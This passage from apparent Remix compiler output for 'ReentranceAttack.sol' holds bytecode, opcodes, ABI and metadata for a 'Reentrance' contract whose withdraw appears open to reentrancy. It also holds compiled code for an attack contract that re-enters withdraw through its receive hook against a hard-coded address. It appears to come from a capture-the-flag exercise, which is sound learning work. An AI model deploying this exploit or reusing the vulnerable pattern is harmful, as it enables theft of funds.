JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x391 JUMPI PUSH2 0x390 PUSH2 0x50A JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x39F DUP5 DUP3 DUP6 ADD PUSH2 0x339 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3B5 PUSH1 0x0 DUP4 PUSH2 0x40A JUMP JUMPDEST SWAP2 POP PUSH2 0x3C0 DUP3 PUSH2 0x50F JUMP JUMPDEST PUSH1 0x0 DUP3 ADD SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x3D4 DUP2 PUSH2 0x4D1 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x3E5 DUP3 PUSH2 0x3A8 JUMP JUMPDEST SWAP2 POP DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x404 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x3CB JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x420 DUP3 PUSH2 0x4D1 JUMP JUMPDEST SWAP2 POP PUSH2 0x42B DUP4 PUSH2 0x4D1 JUMP JUMPDEST SWAP3 POP DUP3 PUSH32 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF SUB DUP3 GT ISZERO PUSH2 0x460 JUMPI PUSH2 0x45F PUSH2 0x4DB JUMP JUMPDEST JUMPDEST DUP3 DUP3 ADD SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x476 DUP3 PUSH2 0x4D1 JUMP JUMPDEST SWAP2 POP PUSH2 0x481 DUP4 PUSH2 0x4D1 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x494 JUMPI PUSH2 0x493 PUSH2 0x4DB JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x4AA DUP3 PUSH2 0x4B1 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x51B DUP2 PUSH2 0x49F JUMP JUMPDEST DUP2 EQ PUSH2 0x526 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH2 0x532 DUP2 PUSH2 0x4D1 JUMP JUMPDEST DUP2 EQ PUSH2 0x53D JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xD0 CREATE 0xE1 0x25 0xE0 CALLDATASIZE DUP10 0x5E PUSH27 0xCD49D94BAD9D67A46470C82BCF4423DA86EBCFADF59E5664736F6C PUSH4 0x43000807 STOP CALLER ",
"sourceMap": "174:602:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;281:101;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;234:40;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;496:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;388:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;281:101;348:28;366:9;348:8;:13;357:3;348:13;;;;;;;;;;;;;;;;:17;;:28;;;;:::i;:::-;332:8;:13;341:3;332:13;;;;;;;;;;;;;;;:44;;;;281:101;:::o;234:40::-;;;;;;;;;;;;;;;;;:::o;496:242::-;569:7;545:8;:20;554:10;545:20;;;;;;;;;;;;;;;;:31;542:191;;588:11;604:10;:15;;626:7;604:34;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;587:51;;;718:7;694:8;:20;703:10;694:20;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;578:155;542:191;496:242;:::o;388:102::-;442:12;470:8;:14;479:4;470:14;;;;;;;;;;;;;;;;463:21;;388:102;;;:::o;2741:96:1:-;2799:7;2829:1;2825;:5;;;;:::i;:::-;2818:12;;2741:96;;;;:::o;7:139:2:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:::-;691:6;740:2;728:9;719:7;715:23;711:32;708:119;;;746:79;;:::i;:::-;708:119;866:1;891:53;936:7;927:6;916:9;912:22;891:53;:::i;:::-;881:63;;837:117;632:329;;;;:::o;967:398::-;1126:3;1147:83;1228:1;1223:3;1147:83;:::i;:::-;1140:90;;1239:93;1328:3;1239:93;:::i;:::-;1357:1;1352:3;1348:11;1341:18;;967:398;;;:::o;1371:118::-;1458:24;1476:5;1458:24;:::i;:::-;1453:3;1446:37;1371:118;;:::o;1495:379::-;1679:3;1701:147;1844:3;1701:147;:::i;:::-;1694:154;;1865:3;1858:10;;1495:379;;;:::o;1880:222::-;1973:4;2011:2;2000:9;1996:18;1988:26;;2024:71;2092:1;2081:9;2077:17;2068:6;2024:71;:::i;:::-;1880:222;;;;:::o;2189:147::-;2290:11;2327:3;2312:18;;2189:147;;;;:::o;2342:305::-;2382:3;2401:20;2419:1;2401:20;:::i;:::-;2396:25;;2435:20;2453:1;2435:20;:::i;:::-;2430:25;;2589:1;2521:66;2517:74;2514:1;2511:81;2508:107;;;2595:18;;:::i;:::-;2508:107;2639:1;2636;2632:9;2625:16;;2342:305;;;;:::o;2653:191::-;2693:4;2713:20;2731:1;2713:20;:::i;:::-;2708:25;;2747:20;2765:1;2747:20;:::i;:::-;2742:25;;2786:1;2783;2780:8;2777:34;;;2791:18;;:::i;:::-;2777:34;2836:1;2833;2829:9;2821:17;;2653:191;;;;:::o;2850:96::-;2887:7;2916:24;2934:5;2916:24;:::i;:::-;2905:35;;2850:96;;;:::o;2952:126::-;2989:7;3029:42;3022:5;3018:54;3007:65;;2952:126;;;:::o;3084:77::-;3121:7;3150:5;3139:16;;3084:77;;;:::o;3167:180::-;3215:77;3212:1;3205:88;3312:4;3309:1;3302:15;3336:4;3333:1;3326:15;3476:117;3585:1;3582;3575:12;3599:114;;:::o;3719:122::-;3792:24;3810:5;3792:24;:::i;:::-;3785:5;3782:35;3772:63;;3831:1;3828;3821:12;3772:63;3719:122;:::o;3847:::-;3920:24;3938:5;3920:24;:::i;:::-;3913:5;3910:35;3900:63;;3959:1;3956;3949:12;3900:63;3847:122;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "279600",
"executionCost": "318",
"totalCost": "279918"
},
"external": {
"balanceOf(address)": "2885",
"balances(address)": "2814",
"donate(address)": "infinite",
"withdraw(uint256)": "infinite"
}
},
"methodIdentifiers": {
"balanceOf(address)": "70a08231",
"balances(address)": "27e235e3",
"donate(address)": "00362a95",
"withdraw(uint256)": "2e1a7d4d"
}
},
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_who",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "balance",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_to",
"type": "address"
}
],
"name": "donate",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.7+commit.e28d00a7"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "address",
"name": "_who",
"type": "address"
}
],
"name": "balanceOf",
"outputs": [
{
"internalType": "uint256",
"name": "balance",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "",
"type": "address"
}
],
"name": "balances",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
"internalType": "address",
"name": "_to",
"type": "address"
}
],
"name": "donate",
"outputs": [],
"stateMutability": "payable",
"type": "function"
},
{
"inputs": [
{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "withdraw",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/ReentranceAttack.sol": "Reentrance"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/ReentranceAttack.sol": {
"keccak256": "0xebce037ef648a36e2ccc1ece571eddd4530a46b7bf42e992d18b54277d6171db",
"license": "MIT",
"urls": [
"bzz-raw://b1e6084e1d6552cb09cd65f215fd0fc5fe4acdb03925c026362f211b1029333d",
"dweb:/ipfs/QmeUMEseqsyVopVr9YkLcCSTZE63xG6dE3yVCovqmrAcBj"
]
},
"https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeMath.sol": {
"keccak256": "0xa2f576be637946f767aa56601c26d717f48a0aff44f82e46f13807eea1009a21",
"license": "MIT",
"urls": [
"bzz-raw://973868f808e88e21a1a0a01d4839314515ee337ad096286c88e41b74dcc11fc2",
"dweb:/ipfs/QmfYuZxRfx2J2xdk4EXN7jKg4bUYEMTaYk9BAw9Bqn4o2Y"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "60806040527383b848dc841cc927834a3acb92cb76934b855e636000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b506102e5806100746000396000f3fe6080604052600436106100225760003560e01c80639e5faafc146100b9576100b4565b366100b45760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d346040518263ffffffff1660e01b81526004016100809190610258565b600060405180830381600087803b15801561009a57600080fd5b505af11580156100ae573d6000803e3d6000fd5b50505050005b600080fd5b6100c16100c3565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163134101561010757600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662362a9534306040518363ffffffff1660e01b8152600401610160919061023d565b6000604051808303818588803b15801561017957600080fd5b505af115801561018d573d6000803e3d6000fd5b505050505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d346040518263ffffffff1660e01b81526004016101eb9190610258565b600060405180830381600087803b15801561020557600080fd5b505af1158015610219573d6000803e3d6000fd5b50505050565b61022881610273565b82525050565b610237816102a5565b82525050565b6000602082019050610252600083018461021f565b92915050565b600060208201905061026d600083018461022e565b92915050565b600061027e82610285565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905056fea264697066735822122058959a2aa06398c06589736d65df2b2b099fbaaca8d0c6aeb4c97c8e62aad42364736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH20 0x83B848DC841CC927834A3ACB92CB76934B855E63 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP CALLVALUE DUP1 ISZERO PUSH2 0x64 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x2E5 DUP1 PUSH2 0x74 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x22 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0xB9 JUMPI PUSH2 0xB4 JUMP JUMPDEST CALLDATASIZE PUSH2 0xB4 JUMPI PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x80 SWAP2 SWAP1 PUSH2 0x258 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x9A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0xAE JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0xC1 PUSH2 0xC3 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND BALANCE CALLVALUE LT ISZERO PUSH2 0x107 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH3 0x362A95 CALLVALUE ADDRESS PUSH1 0x40 MLOAD DUP4 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x160 SWAP2 SWAP1 PUSH2 0x23D JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x179 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x18D JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x2E1A7D4D CALLVALUE PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x1EB SWAP2 SWAP1 PUSH2 0x258 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x205 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x219 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP JUMP JUMPDEST PUSH2 0x228 DUP2 PUSH2 0x273 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x237 DUP2 PUSH2 0x2A5 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x252 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x21F JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x26D PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x22E JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x27E DUP3 PUSH2 0x285 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 PC SWAP6 SWAP11 0x2A LOG0 PUSH4 0x98C06589 PUSH20 0x6D65DF2B2B099FBAACA8D0C6AEB4C97C8E62AAD4 0x23 PUSH5 0x736F6C6343 STOP ADDMOD SMOD STOP CALLER ",
"sourceMap": "780:398:0:-:0;;;852:42;813:83;;;;;;;;;;;;;;;;;;;;780:398;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_134": {
"entryPoint": null,
"id": 134,
"parameterSlots": 0,
"returnSlots": 0
},
"@attack_123": {
"entryPoint": 195,
"id": 123,
"parameterSlots": 0,
"returnSlots": 0
},
"abi_encode_t_address_to_t_address_fromStack": {
"entryPoint": 543,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 558,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_address__to_t_address__fromStack_reversed": {
"entryPoint": 573,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 600,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 627,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 645,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 677,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1025:2",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "72:53:2",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "89:3:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "112:5:2"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "94:17:2"
},
"nodeType": "YulFunctionCall",
"src": "94:24:2"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "82:6:2"
},
"nodeType": "YulFunctionCall",
"src": "82:37:2"
},
"nodeType": "YulExpressionStatement",
"src": "82:37:2"
}
]
},
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "60:5:2",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "67:3:2",
"type": ""
}
],
"src": "7:118:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "196:53:2",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "213:3:2"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "236:5:2"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "218:17:2"
},
"nodeType": "YulFunctionCall",
"src": "218:24:2"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "206:6:2"
},
"nodeType": "YulFunctionCall",
"src": "206:37:2"
},
"nodeType": "YulExpressionStatement",
"src": "206:37:2"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "184:5:2",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "191:3:2",
"type": ""
}
],
"src": "131:118:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "353:124:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "363:26:2",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "375:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "386:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "371:3:2"
},
"nodeType": "YulFunctionCall",
"src": "371:18:2"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "363:4:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "443:6:2"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "456:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "467:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "452:3:2"
},
"nodeType": "YulFunctionCall",
"src": "452:17:2"
}
],
"functionName": {
"name": "abi_encode_t_address_to_t_address_fromStack",
"nodeType": "YulIdentifier",
"src": "399:43:2"
},
"nodeType": "YulFunctionCall",
"src": "399:71:2"
},
"nodeType": "YulExpressionStatement",
"src": "399:71:2"
}
]
},
"name": "abi_encode_tuple_t_address__to_t_address__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "325:9:2",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "337:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "348:4:2",
"type": ""
}
],
"src": "255:222:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "581:124:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "591:26:2",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "603:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "614:2:2",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "599:3:2"
},
"nodeType": "YulFunctionCall",
"src": "599:18:2"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "591:4:2"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "671:6:2"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "684:9:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "695:1:2",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "680:3:2"
},
"nodeType": "YulFunctionCall",
"src": "680:17:2"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "627:43:2"
},
"nodeType": "YulFunctionCall",
"src": "627:71:2"
},
"nodeType": "YulExpressionStatement",
"src": "627:71:2"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "553:9:2",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "565:6:2",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "576:4:2",
"type": ""
}
],
"src": "483:222:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "756:51:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "766:35:2",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "795:5:2"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "777:17:2"
},
"nodeType": "YulFunctionCall",
"src": "777:24:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "766:7:2"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "738:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "748:7:2",
"type": ""
}
],
"src": "711:96:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "858:81:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "868:65:2",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "883:5:2"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "890:42:2",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "879:3:2"
},
"nodeType": "YulFunctionCall",
"src": "879:54:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "868:7:2"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "840:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "850:7:2",
"type": ""
}
],
"src": "813:126:2"
},
{
"body": {
"nodeType": "YulBlock",
"src": "990:32:2",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1000:16:2",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "1011:5:2"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1000:7:2"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "972:5:2",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "982:7:2",
"type": ""
}
],
"src": "945:77:2"
}
]
},
"contents": "{\n\n function abi_encode_t_address_to_t_address_fromStack(value, pos) {\n mstore(pos, cleanup_t_address(value))\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_address__to_t_address__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_address_to_t_address_fromStack(value0, add(headStart, 0))\n\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n 